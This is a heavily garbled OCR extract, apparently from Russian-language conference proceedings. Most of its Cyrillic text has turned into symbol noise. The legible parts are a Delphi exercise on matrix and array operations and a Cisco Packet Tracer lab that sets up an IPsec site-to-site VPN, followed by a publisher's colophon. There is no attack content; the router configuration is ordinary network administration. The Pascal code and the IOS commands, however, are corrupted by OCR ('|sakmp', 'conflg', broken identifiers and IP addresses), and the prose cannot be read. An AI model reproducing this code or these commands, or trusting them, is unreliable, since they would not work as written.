- #1 , 3 :
5 +3$# ! / -1 -
5 | # % 3 ! / -1 -
'$ % / -1 -
2. * ,
5 %# | # 3 ' $ ! ! 3
5 % # # ! / -1 - '$ %
/ -1 -
5 # % %% % - #
3. - (
- * 0% - # # o« -4,
— * O - # # NX-6.
- 23 NX-148.
-/ , 3 # « »,
-/ , 3 # «. ».
-/ , 3 # «, ».
- % - 3 # .
- *1 % -6 3 # +* -212-4 .
- *1 % -6 3 # +* -212-41) .
- *1 % -6 3 # +* -212-66.
- 1 3 +* -103-3- 2-1) .
- 3 # -12.
- % - :
- - 3 # + -102-14 ( ).
- $ 3 # + -329-3(, ).
- $ 3 # + -329-1( ).
- % % # 3 # +* -103-3- 2-1)
- % -6 3 # +* -212-41)
- % -6 3 # +* -212-66
4. 2
) 1 % 3 6 % !
% .
5 / -1 - % - # « -4,
5 / -1 - % - # NX-6.
5"
2 , - $ , # %/ % / -
YU % % # ,$ I # - ! / -1
- $ 2 3 %
*1 $ - $ 1 1 ;
/ $ - $ 1 1 ! % &
% 3 $ - 2 ! / 1 % 3 -
% . , % $ / $/ %## -
% 1 % - . - #/ $ $ / /
%2 ,! ! % # !
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1/ $ / :
6. $ 1 3 — 2 ! %/ $ , %23
% $ , / % | #
3 / # % 3 - #/ ! ;
7 $ 1 % (% $ )—, % 2
% % - - ' ;
8 $ 1 I'$ ( $ )—, % 2
$ % % % '
% % 1 % ( # ) ' $
% ;
9 $ 1 % -, % 2 , $
I 1 :
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s ! :

procedure TForm1.BitBtn1Click(Sender: TObject);
var i,j,n,m:integer; a:matr; s,sl:string; min,maail;
begin

n:=strtoint(edit3.Text);

m:=strtoint(edit4. Text);

setlength(a,n,m);

randomize;

for i:=0 to n-1 do begin s:=";

for j:=0 to m-1 do begin a[i,jl:=random(20); stri(d[6:2,s1); s:=s+s1; end;
listbox1.ltems.Add(s); end;
aminmax(a,n,m,min,max);

editl. Text:=floattostr(min);

edit2. Text:=floattostr(max);

end;

s ! «1 »:
procedure TForm1.BitBtn2Click(Sender: TObject);
var a:mas; i,n,k:integer; s,p:integer;

begin

n:=strtoint(edit5.text);

setlength(a,n);
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randomize;

for i:=0 to n-1 do begin

afil:=random(20)-5; listbox2.items.Add(inttostr (B
end;

otric(a,n,s,p,k);

if k=0 then label10.Caption:='- # / '
else begin

edit6.Text:=inttostr(s);

edit7.Text:=inttostr(p); end;

end;

11$ ! «1 »!
procedure TForm1.BitBtn3Click(Sender: TObject);
var x:real; n:integer;

begin

x:=strtofloat(edit8.Text);

n:=strtoint(edit9.Text);
edit10.Text:=floattostrf(sr(x,n),fffixed,8,3);

end;

11$ ! «1 »!
procedure TForm1.BitBtn4Click(Sender: TObject);
var a,b:real;

begin

a:=strtofloat(edit11. Text); b:=strtofloat(edit12xte
editl3.Text:=floattostr(sptreyg(a,b));

end;
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# 13 $
unit Unit2;
interface
type matr=array of array of real; mas=array ofgete
procedure aminmax (a:matr;n,m:integer; var min, meeat);
procedure otric (a:mas; n:integer; var sum, prasger; var k:integer);
function Sr(x:real; n:integer):real;
function sptreyg(a,b:real):real;
implementation

procedure aminmax (a:matr;n,m:integer; var min,nesx);
var i,j:integer;

begin

min:=a[0,0]; max:=a[0,0];

for i:=0 to n-1 do

for ;=0 to m-1 do

begin

if afi,jl<min then min:=a[i,j]; if a[i,jl>max themmax:=ali,j];
end;

end;

procedure otric (a:mas; n:integer; var sum, pntager; var k:integer);
var i:integer;

begin

k:=0; sum:=0; pros:=1;

for i:=0 to n-1 do

if a[i]<0 then begin sum:=sum-+a][i]; pros:=prosiak:=k+1; end;
end;

function Sr(x:real; n:integer):real;

var i:integer;

begin

result:=0; for i:=1 to n do result:=result+x/i;

end;

function sptreyg(a,b:real):real;

begin result:=a*b/2; end;

end.
7.
1. % % 2 % %% Delphi?
2. 2% # % # # % % ?
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% 1
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5 % ! % %% % % % 3 , % -
%#H2 |/ /
3. " -

: Cisco Packet Tracer.

4, 2
# 33 %1 - #% , % -
, % % VPN
5.
VPN- 1 - / , - #% , . 3
3 / ! # % %
1. Static NAT ( # , 132 “1 "
, ! # 1 );
2. DMZ( $ % 1$/ - | DMQZ);
5 % ' 2 I (%1l #  Access List,
6 # % ).
5 )Y % , 3! # # % % | #
# , , 6% # % VPN:
3. VPN- I - # $ 1'$ , ..t V¥
- VPN%1 , % % $ “ # "%l 2% , %
“2 %2 7). % ! % |, # # , 13 -
# , , , $ “oo8 T % % ,, 3 ,
$ # o+ . , I % 33 #
* VPN # 2 $ 3
) % :
1. IPsec Site-to-Site VPN,
2. IPsec RA VPN,
IPsec — ! I $ 3 /| , Site-to-Site —1& 2-/
( 2% #1 ), RA VPN (Remote Access) — # (
23 # ).
* - VPN 2-/ 6 :
. IKE 2 % / /$ ,
- 2 , % 33 ISAKMP Tunnel, %
! # ! % IPsec ;
2. 2 % / IPsec , 6 % %
# % ! 1 # # ", %
6. " (< )
1. (
) % [ % / , / ( # - # , #
22, / $ A 1% vpn- # .
2 $ % Cisco Packet Tracer, % 1.
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23/ /
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1 , % ! %
1,0 %
3. !
) % RIP
1. Config
2. RIP
3. %1
4.)1% Add.
$
4.1 VPN.
* VPN
5 2% - !
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8. * ! VPN IPsec
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6 RouterO, ! CLI % % 2

23 - !

Router(conflg)#crypto |sakmp policy 10

N %

Router(config- |sakmp)#authent|cat|on pre-share

1% , - # pre-share

Router(config-isakmp)#hash sha

I % , $ /'

Router(conflg |sakmp)#encrypt|on aes 256

I % aes 256

Router(conﬂg isakmp)#group 2

Router(config-isakmp)#lifetime 86400

Router(config-isakmp)#exit

Router(config)#crypto |sakmp key toor address 102.

1 % 2% , % IP- —IP- ' ,

, —10.0.0.2).

crypto |psec transform-set TSET esp aes esp-sha-hma

/I TSET —% , esp-aes— % , , esp-sha-hmac- % /6’

Router(config)#crypto ipsec transform-set TSET asp-esp-sha-hmac

1 $

Router(config)#access-list 101 permit ip 192.168110.0.255 192.168.20.0 0.0.0.255

I $ # vpn ( , < #

, 192 168.10. 0 # 192 168.20.0 + )

Router(config)#crypto map CMAP 10 ipsec- |sakmp

1 $

Router(config-crypto-map)#set peer 10.0.0.2

Router(config-crypto-map)#match address 101

Router(config-crypto-map)#set transform-set TSET

Router(config-crypto-map)#exit

1 — ' , , ; 2 %
IPsec , , /' % ,O# ( Access List)

Router(config)#interface fa0/1

Router(config-if)#crypto map CMAP

Router(config-if)#do wr

l : ("% )

Routerl # $ % , % 10.0.0.2 10.0.0.1,

1 # # access-list.

Router(config)#access-list 101 permit ip 192.168200.0.255 192.168.10.0 0.0.0.255

) VPN, YV % , % % ping, ! , $ 2

% ! % # 23 . .
! # ! VPN , .. $ ', 13 %
I # % :
Router#show crypto ipsec sa
# % $ / v

/o, / oo . 6 $ 0, VPN !
', 2 :

current_peer 10.0.0.2 port 500

PERMIT, flags={origin_is_acl,}

#pkts encaps: 3, #pkts encrypt: 3, #pkts digest: 0

#pkts decaps: 3, #pkts decrypt: 3, #pkts verify: 0

#pkts compressed: 0, #pkts decompressed: 0

#pkts not compressed: 0, #pkts compr. failed: 0

#pkts not decompressed: 0, #pkts decompress failed:

#send errors 1, #recv errors 0

311



PwNhPEN

o

$% # ; VPN # 2

VPN
% I/ % # ISAKMP?
$ # AccessList?
-2%
, , < ( %.).8. % ,+ 10, - "
# , fedorovava@bmstu.ru

312






Y+ #-) 'H) %*) #%./

XXII ") % + 0+ #&
&+ I Y+ #) H#1 %2943
"+ 0/"+.)I#4 %&+ %*+ /1 %&+*
"+ H#5#" #1% &%'%.%0 #%*%
# ")5HY%.HX)*%
0 +&.% *# #1 + %5#+11+3 &)2+"% 1+ *#
/'$ %
% #2 —+.+."%
1 - ?
* $ # 01.10.2018 "%  60x84';
% « $ » *$ # ,
*$ . .19,6 + .= 967
. $. .18,2 1 1306 .
$.- . .16/4 = 1951
«+ # % -0 »
350072, . 9 «», , .41/3

. +7(918) 41-50-571

e-mail: id.yug2016@gmail.com > http://id-yug.com



